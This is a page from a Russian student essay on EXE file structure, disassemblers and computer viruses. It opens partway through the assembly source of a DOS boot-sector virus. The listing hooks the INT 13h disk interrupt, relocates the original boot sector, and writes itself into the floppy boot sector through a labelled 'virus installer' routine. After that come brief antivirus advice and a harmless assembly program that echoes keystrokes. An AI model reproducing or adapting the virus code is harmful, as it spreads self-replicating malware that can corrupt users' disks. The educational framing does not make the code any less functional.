RSS    

   Реферат: Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология

                    shl cx,1                           ; умножим на 2

                    xor dx,dx                       ; dx=0

                    div cx                                                  ; поделим DX:AX на CX

                    pop cx                                                 ; вытащим CX из стека - там число секторов на

                                                                                 ; дорожке было

                    push ax                                               ; запомним частное от предыдущего деления

                    mov ax,dx                     ; в AX занесем остаток от деления

                    xor dx,dx                       ; DX=0

                    div cx                                                  ; поделим еще раз

                    mov dh,al                      ; DH=номер головки

                    mov cl,dl                        ; CL=номер сектора

                    pop ax                                                ; выкинем AX

                    mov ch,al                       ; CH=номер дорожки

                    inc cl                                                    ; прибавим к нему 1

                    pop ax                                                ; AX=бывшее DX - там была сторона и номер

                                                                                 ; дисковода

                    mov dl,al                        ; номер в DL

                    mov cs:floppy_sect,cx                    ; то что получилось запомним

                    mov cs:floppy_head,dh

;---------all found dh,cx rules---------

                    mov ax,0301h                                  ; записать старый бут куда надо

                    int 0e0h

                    jc exit_boot_work        ; если была ошибка - прекратить работу

                                                                                 ; чтобы не убить диск совсем

                                                                                 ; можно этого и не делать, едва ли что

                                                                                 ; случится - вероятность того что вычисленный

                                                                                 ; нами сектор BAD очень низка, но...

                    push cs

                    pop es

                    lea di,table                     ; скопируем из бута в свое тело таблицу

                    mov si,bx                       ; параметров диска

                    add si,offset table        ;

                    mov cx,4ch-3                                    ;

                    rep movsb                      ;

                    push cs

                    pop es

                    mov ax,0301h                                  ; запишемся в бут-сектор

                    xor bx,bx

                    mov cx,0001

                    xor dh,dh

                    int 0e0h

exit_boot_work:

                    pop es ds                        ; восстановим все что убили

                    popa

get_out:

                    popf                                                    ; и флаги обязательно

int_exit:

                    retf 2                                                   ; выход из прерывания

;-------------data block--------------

floppy_sect                   dw 2f08h

floppy_head                 db 01

shit                                  dw 0

                    org 510

sign             dw 0aa55h                    ; чтобы не выдавали сообщения NDD и прочие...

                                                                                 ; это просто метка системного сектора

; -----   Инсталлятор вируса в бут дискеты   -----

install:

                    mov cs:[0000],4aebh

                    mov byte ptr cs:[0002],090h         ; нужная команда

                    push ds

                    xor ax,ax

                    mov ds,ax

                    mov ax,ds:[13h*4]

                    mov ds:[0e0h*4],ax

                    mov ax,ds:[13h*4+2]

                    mov ds:[0e0h*4+2],ax

                    mov word ptr ds:[13h*4],offset int13

                    mov ds:[13h*4+2],cs

                    pop ds

                    push cs

                    pop es

                    mov ax,0201h

                    mov cx,0001

                    mov dx,0000

                    mov bx,offset our_buffer

                    int 13h

                    xor ax,ax

                    mov ds,ax

                    mov ax,ds:[0e0h*4]

                    mov ds:[13h*4],ax

                    mov ax,ds:[0e0h*4+2]

                    mov ds:[13h*4+2],ax

                    mov ax,4c00h

                    int 21h

our_buffer:

                    end start

Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.

МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.

         Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. На 100% защититься от вирусов практически невозможно (как если бы,  пользователь меняется дискетами с друзьями, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не родится.

         Наиболее широкое распространение по борьбе с вирусами получили такие программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы - как самые старые, так и только что появившиеся. Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Стараться никогда не давать работать посторонним на вашем компьютере - именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.

          

4. Дисассемблер

         Когда готовый программный продукт, можно будет редактировать, переделывать по своему желанию, увидеть исходное написанной программы – это называется дисассемблированием.

Существуют множество готовых программ-дисассемблеров, такие как: Hex-редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают например  директивы (Директивы этой группы предназначены для управления видом файла листинга. Все директивы являются парными — это означает, что если одна директива что-то разрешает, то другая, наоборот, запрещает), а так же все они не способны полностью восстановить исходное программы. Чтобы вносить изменения в программу нужны достаточно хорошие знания ассемблера.

6. Программы

1)  Программы выполненная на ассемблере. Запустив программу можно вводит до 256 символов и одновременно выводить на экран(аналогичность команды DOS-“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана, цветовую палитру, прокрутку экрана, размер курсора.

page 60,132  ;Вывод символа и его скэн кода

   model small

  title Пробная программа

 

sseg segment para private 'stack'

       dw 32 dup('??')

sseg ends

 

dseg segment para private 'data'

    maska  db   30h

    KSIM DB 3

    ROW  DB 0

    COL  DB 0

    SIM DB  ' '

    SCAN DB  ' '

    CHISLO DB '   '

    STRSIM DB 100 DUP(' ')

dseg ends

 

 cseg segment para private 'code'

       assume ss:sseg,ds:dseg,cs:cseg,es:nothing

  sum  proc far    ;Начало программы

       push ds

       sub ax,ax

       push ax

       mov ax,dseg

       mov ds,ax

MOV AH,00H ;Установка 64-цветного режима

INT 10H

MOV AX,0600H ;Полная прокрутка экрана

MOV BH,07

MOV CX,0000

MOV DX,184FH

INT 10H

MOV AH,01     ; Установка размера курсора

MOV CH,06

MOV CL,07

INT 10H

MOV KSIM,0

MOV ROW,00    ; Задание начальных значении

MOV COL,00

MOV SI,0

MOV KSIM,10

M:

MOV AH,02; Установка курсора

MOV BH,00

MOV DH,ROW

MOV DL,COL

INT 10H

MOV AH,00            ;Ввод символа с клавиатуры

INT 16H             

MOV STRSIM[SI],AL

SUB AH,28            ; KLAVISHA ENTER  (exit)

JZ M1                ;Переход если ноль

MOV AH,09H           ; Вывод очередного символа в позицию курсора

MOV AL,STRSIM[SI]

MOV BH,00

MOV BL,212

MOV CX,1

INT 10H

ADD COL,1

ADD SI,1

INC KSIM

JMP  M                  ;Безусловный переход

M1:

       ret        ; Возврат из подпрограммы(RET-optional pop-value)

  sum  endp

  cseg ends

       end sum

2) Исходник программы дисассемблер выполненный на паскале:

Страницы: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17


Новости


Быстрый поиск

Группа вКонтакте: новости

Пока нет

Новости в Twitter и Facebook

                   

Новости

© 2010.